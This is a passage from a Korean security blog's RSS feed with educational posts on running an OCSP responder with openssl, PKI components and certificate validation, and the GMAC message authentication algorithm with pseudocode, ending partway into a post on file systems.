&lt;li&gt;테스트용 또는 내부 환경에 적합&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1748650918401&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;openssl ocsp \
  -port 2560 \
  -index index.txt \
  -CA ca.crt \
  -rsigner ocsp-cert.pem \
  -rkey ocsp-key.pem \
  -text&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;index.txt : CA에서 발급한 인증서 상태DB&lt;/li&gt;
&lt;li&gt;ocsp-cert.pem : OCSP 응답에 사용할 인증서(CA가 발급한 OCSP 전용 인증서)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. EJBCA&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;JAVA 기반의 완전한 오픈소스 PKI 서버&lt;/li&gt;
&lt;li&gt;OCSP 기능 포함&lt;/li&gt;
&lt;li&gt;대규모 배포 및 고급 설정 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. Dogtag Certificate System&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;RedHat이 주도하는 PKI 솔루션&lt;/li&gt;
&lt;li&gt;OCSP 포함&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>정보보호</category>
      <category>ocsp</category>
      <category>PKI</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/50</guid>
      <comments>https://defcon.tistory.com/50#entry50comment</comments>
      <pubDate>Sat, 31 May 2025 22:40:21 +0900</pubDate>
    </item>
    <item>
      <title>PKI(Public Key Infrastructure)에 대한 개념과 구성요소</title>
      <link>https://defcon.tistory.com/49</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;PKI(Public Key Infrastructure)란?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PKI는 암호화 기술을 이용해 디지털보안을 제공하는 체계입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주로 인터넷과 같은 개방된 네트워크에서 신원확인, 데이터무결성보장, 기밀성 유지, 부인방지 기능을 제공하기 위해서 사용됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비대칭키 암호화 기술을 기반으로 하며, 공개키와 개인키의 쌍을 사용하여 보안을 제공합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공개키(Public Key) : 누구나 접근 가능한 키&lt;/li&gt;
&lt;li&gt;개인키(Private Key) : 소유자만 알고 있는 비밀키&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PKI는 이 키쌍을 신뢰할 수 있는 방식으로 관리하고, 디지털 인증서를 통해 공개키가 특정 사용자 또는 조직에 속해있음을 보증합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;PKI의 주요 구성 요소&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. CA(Certificate Authority, 인증 기관)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;역할
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CA는 공개키 인증서를 발급, 서명, 관리하는 가장 핵심적인 기관입니다. 사용자나 시스템이 제출한 공개키에 대해 신원을 확인한 후 이를 디지털 인증서로 만들어 서명합니다. 이 인증서는 해당 공개키가 특정 개인, 조직, 도메인 등에 속함을 증명합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;상세 기능
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;디지털 인증서 생성 및 서명&lt;/li&gt;
&lt;li&gt;인증서 갱신 및 폐기&lt;/li&gt;
&lt;li&gt;신뢰 체계 형성(루트 CA, 중간 CA 체계)&lt;/li&gt;
&lt;li&gt;정책(CPS : Certification Practice Statement) 관리&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;예시
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;상업용 CA : DigiCert, GlobalSign, Sectigo&lt;/li&gt;
&lt;li&gt;공공기관 CA : 한국정보인증, KISA 루트 CA&lt;/li&gt;
&lt;li&gt;오픈소스 루트 CA : Let's Encrypt&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. RA(Registration Authorith, &amp;nbsp;등록기관)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;역할
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;RA는 CA의 위임을 받아 인증서 요청자의 신원을 검증하는 기관입니다. CA가 인증서를 발급하기 전에 RA가 사용자 또는 시스템의 신원과 정보를 확인하고 그 결과를 CA에 전달합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;상세 기능
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인증서 신청 접수 및 사용자 신원 확인&lt;/li&gt;
&lt;li&gt;신원확인 절차 수행(여권, 주민등록증, 도메인 소유권 확인 등)&lt;/li&gt;
&lt;li&gt;CSR(Certificate Signing Request) 처리&lt;/li&gt;
&lt;li&gt;CA와의 통신을 통한 발급 요청&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;비고
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;RA는 보통 별도의 기관이 될 수 있고 CA 내부에 통합될 수도 있음&lt;/li&gt;
&lt;li&gt;대규모 조직에서는 내부 RA를 통해 인증서 자체를 관리&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. Ceritificate(디지털 인증서)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;역할
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;디지털인증서는 공개키와 해당 소유자의 정보를 포함하며, CA의 디지털 서명이 포함되어 있어 인증서의 무결성과 신뢰성을 보장합니다. 이를 통해 해당 공개키가 누구의 것인지 신뢰할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4. CRL(Ceritificate Revocation List, 인증서 폐지 목록)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;역할
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CRL은 폐기된 인증서들의 목록입니다. 인증서가 유효기간 내라도, 유출되었거나 사용 중단되었을 경우에는 신뢰할 수 없게 됩니다. 이런 인증서를 리스트에 올려서 수신자가 확인하고 무효 인증서를 거를 수 있게 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;상세 기능
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인증서의 유효성 검증 시 사용&lt;/li&gt;
&lt;li&gt;주기적으로 CA가 업데이트함&lt;/li&gt;
&lt;li&gt;인증서 일련번호 깁만 목록 제공&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;한계
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;최신 CRL 확인을 위한 시간 지연&lt;/li&gt;
&lt;li&gt;해결책 : OCSP(Online Ceritificate Status Protocol) 사용 -&amp;gt; 실시간 검증 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;5. PKI 사용자(Entity)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;역할
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;PKI를 사용하는 사람, 소프트웨어, 디바이스 등을 통칭합니다. 이들은 CA로부터 발급받은 인증서를 사용하여 암호화, 서명, 인증 등의 작업을 수행합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;예시
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자의 이메일 클라이언트(S/MIME 사용)&lt;/li&gt;
&lt;li&gt;웹 서버(HTTPS 적용을 위한 SSL 인증서 사용)&lt;/li&gt;
&lt;li&gt;IoT 장비(기기간 인증 및 보안 통신)&lt;/li&gt;
&lt;li&gt;기업의 VPN 클라이언트(사용자 인증을 위해 인증서 사용)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;종류
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;End-entity : 최종 사용자, 서버, 클라이언트 등&lt;/li&gt;
&lt;li&gt;Application : 소프트웨어 모듈 또는 웹 서비스 등&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;6. Repository(저장소)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;역할
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인증서와 CRL 등 관련 정보를 저장하고 사용자 및 시스템이 이를 검색하고 검증할 수 있게 해주는 저장소 역할을 합니다. 일반적으로 인터넷에 공개되어 누구나 접근할 수 있도록 설정됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;내용물
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CA의 루트 인증서 및 중간 인증서&lt;/li&gt;
&lt;li&gt;사용자 인증서&lt;/li&gt;
&lt;li&gt;CRL(또는 OCSP Responder 정보)&lt;/li&gt;
&lt;li&gt;인증서 정책 문서(CPS 등)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;인증서의 구성 요소&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;디지털 인증서는 보통 X.509 표준을 따릅니다. 주요 항목은 다음과 같습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자 이름, 이메일 주소, 조직 등 식별 정보&lt;/li&gt;
&lt;li&gt;공개키&lt;/li&gt;
&lt;li&gt;인증서 발급자 정보(CA)&lt;/li&gt;
&lt;li&gt;유효기간&lt;/li&gt;
&lt;li&gt;일련번호&lt;/li&gt;
&lt;li&gt;서명 알고리즘&lt;/li&gt;
&lt;li&gt;CA의 디지털 서명&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;PKI작동원리&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1.인증서 발급과정&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;사용자가 인증서를 요청(CSR : Certificate Signing Request 생성)&lt;/li&gt;
&lt;li&gt;RA가 사용자의 신원을 확인&lt;/li&gt;
&lt;li&gt;CA가 확인된 사용자에게 인증서 발급&lt;/li&gt;
&lt;li&gt;사용자는 자신의 공개키가 포함된 인증서를 받음&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 데이터 암호화 및 복호화&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;기밀성(Confidentiality): 송신자가 수신자의 공개키로 암호화 -&amp;gt; 수신자는 자신의 개인키로 복호화&lt;/li&gt;
&lt;li&gt;무결성 및 부인방지(Integrity &amp;amp; Non-repudiation) : 송신자가 자신의 개인키로 서명 -&amp;gt; 수신자가 송신자의 공개키로 서명 검증&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 인증서 검증&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;인증서를 수신하면, 인증서에 서명한 CA의 공개키로 서명을 검증&lt;/li&gt;
&lt;li&gt;인증서의 유효기간을 확인&lt;/li&gt;
&lt;li&gt;CRL이나 OCSP를 통해 인증서 폐지 여부 확인&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;PKI가 제공하는 보안기능&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 24.418604%;&quot;&gt;보안 기능&lt;/td&gt;
&lt;td style=&quot;width: 75.581396%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 24.418604%;&quot;&gt;기밀성&lt;/td&gt;
&lt;td style=&quot;width: 75.581396%;&quot;&gt;공개키로 암호화, 개인키로 복호화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 24.418604%;&quot;&gt;무결성&lt;/td&gt;
&lt;td style=&quot;width: 75.581396%;&quot;&gt;디지털 서명으로 데이터 변경 여부 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 24.418604%;&quot;&gt;인증(Authentication)&lt;/td&gt;
&lt;td style=&quot;width: 75.581396%;&quot;&gt;디지털 인증서로 사용자 신원 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 24.418604%;&quot;&gt;부인방지&lt;/td&gt;
&lt;td style=&quot;width: 75.581396%;&quot;&gt;디지털 서명으로 행동에 대한 책임 추적 기능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;PKI의 실제 활용 예시&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;HTTPS / SSL 인증서 : 웹사이트의 신원을 보장하고 안전한 통신 제공&lt;/li&gt;
&lt;li&gt;전자서명 : 문서 위변조 방지 및 서명자 신원 확인&lt;/li&gt;
&lt;li&gt;이메일 암호화(S/MIME) : 이메일 기밀성과 무결성 보장&lt;/li&gt;
&lt;li&gt;VPN 및 무선 네트워크 인증&lt;/li&gt;
&lt;li&gt;IoT 기기 인증 및 통신 보안&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>정보보호</category>
      <category>CA</category>
      <category>csr</category>
      <category>PKI</category>
      <category>ra</category>
      <category>공개키</category>
      <category>공개키기반구조</category>
      <category>공개키암호</category>
      <category>전자서명</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/49</guid>
      <comments>https://defcon.tistory.com/49#entry49comment</comments>
      <pubDate>Sat, 31 May 2025 08:48:46 +0900</pubDate>
    </item>
    <item>
      <title>메시지인증코드 GMAC 알고리즘 개념 및 동작과정</title>
      <link>https://defcon.tistory.com/48</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;GMAC은 Galois Message Authentication Code의 약자로 주로 GCM(Galois/Counter Mode)이라는 블록암호 운영모드에서 사용하는 인증 코드 생성 방식입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GMAC는 데이터의 무결성과 진위확인을 위해 사용됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GCM에서 암호화는 하지 않고 인증만 수행하는 경우를 GMAC이라고 부릅니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;GMAC 동작과정&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GMAC은 기본적으로 블록암호 알고리즘과 Galois 필드(GF(2^128))에서의 수학 연산을 기반으로 합니다. 아래는 GMAC 동작과정을 간단하게 설명한 것입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;입력값&lt;/b&gt;&lt;/h4&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;비밀키(K) : 블록암호 알고리즘에 사용하는 키&lt;/li&gt;
&lt;li&gt;초기화 벡터(IV) : Nonce, 길이는 일반적으로 96비트&lt;/li&gt;
&lt;li&gt;인증할 메시지(A) : 암호화하지 않고 인증만 수행할 데이터&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;동작절차&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;해시 서브키(H) 생성
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;블록암호 알고리즘으로 128비트의 0 블록을 암호화하여 해시키 H = K(0128)를 생성&lt;/li&gt;
&lt;li&gt;이 키는Galois 필드 연산에 사용됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;GHASH 함수 준비
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;GMAC의 핵심은 GHASH라는 함수이니다.&lt;/li&gt;
&lt;li&gt;GHASH는 해시 키 H와 입력 메시지 A를 Galois 필드에서 곱셈 및 덧셈하여 해시값을 만듭니다.&lt;/li&gt;
&lt;li&gt;메시지 A는 128bit 블록으로 패딩되어 처리됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Y0 생성(IV 처리)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;96bit IV의 경우 Y_0 = IV || 0x00000001&lt;/li&gt;
&lt;li&gt;그 외의 경우 GHASH를 사용하여 &amp;nbsp;Y_0 계산&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;태그 생성
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;GHASH 결과 S를 얻은 후 Tag = K(Y_0) &amp;oplus; S 계산&lt;/li&gt;
&lt;li&gt;이 최종 결과가 GMAC 태그입니다. 이 값은 메시지의 무결성을 보장합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1748425768060&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;function GMAC(Key, IV, AAD):
    # 1. 해시 서브키 H 계산
    H := AES_Encrypt(Key, 0^128)

    # 2. IV 처리 &amp;rarr; 초기 counter 블록 Y₀ 계산
    if length(IV) == 96 bits:
        Y0 := IV || 0x00000001
    else:
        Y0 := GHASH(H, [], IV)  # IV를 GHASH로 처리하여 Y0 생성

    # 3. AAD에 대한 해시 계산
    S := GHASH(H, AAD)

    # 4. 최종 태그 계산
    Tag := AES_Encrypt(Key, Y0) &amp;oplus; S

    return Tag&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;보조함수 GHASH&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1748425792436&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;function GHASH(H, AAD):
    X := 0^128  # 초기값

    # AAD를 128비트 블록으로 나눔 (패딩 포함)
    AAD_blocks := split_and_pad(AAD, 128)

    for block in AAD_blocks:
        X := (X &amp;oplus; block) &amp;times; H  # 곱셈은 GF(2^128) 상에서 수행

    return X&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;GCM과 GMAC의 입력 구성&lt;/b&gt;&lt;/h3&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;항목&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;GCM&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;GMAC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;Key(K)&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;IV&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;O&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;AAD&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;선택적&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;필수(인증대상)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;Plaintext(P)&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;O&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;X&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;Authentication&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;AAD + P&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;AAD&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;Encryption&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;O&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;X&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description>
      <category>암호</category>
      <category>gmac</category>
      <category>메시지인증코드</category>
      <category>블록암호운영모드</category>
      <category>암호</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/48</guid>
      <comments>https://defcon.tistory.com/48#entry48comment</comments>
      <pubDate>Wed, 28 May 2025 18:50:52 +0900</pubDate>
    </item>
    <item>
      <title>파일시스템 FAT, NTFS, EXT 개념</title>
      <link>https://defcon.tistory.com/47</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일시스템은 운영체제가 저장장치에 데이터를 저장하고 관리하는 체계 또는 방법을 말합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쉽게말해, 컴퓨터가 파일을 저장하고 찾을 수 있도록 하는 규칙과 구조를 의미합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;파일 시스템의 주요 구성 요소&lt;/b&gt;&lt;/h3&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;구성 요소&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;파일(File)&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;이름과 데이터를 가진 저장단위&lt;br /&gt;(ex. report.docx, image.jpg ..)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;디렉터리(Directory)&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;파일을 그룹화해서 관리하는 구조. 곛층적 트리 구조 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;메타데이터(Metadata)&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;파일의 이름, 크기 생성일, 권한 등의 정보&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;블록(Block)&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;저장장치를 나누 ㄴ단위. 파일은 여러 블록에 나뉘어 저장됨&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;할당 테이블 / 인덱스노드(inode)&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;파일이 저장된 블록 위치를 추적하기 위한 정보 구조&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;저널(Journal)&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;시스템 충돌에 대비해 변경사항을 기록하는 로그&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;파일시스템의 종류&lt;/b&gt;&lt;/h3&gt;
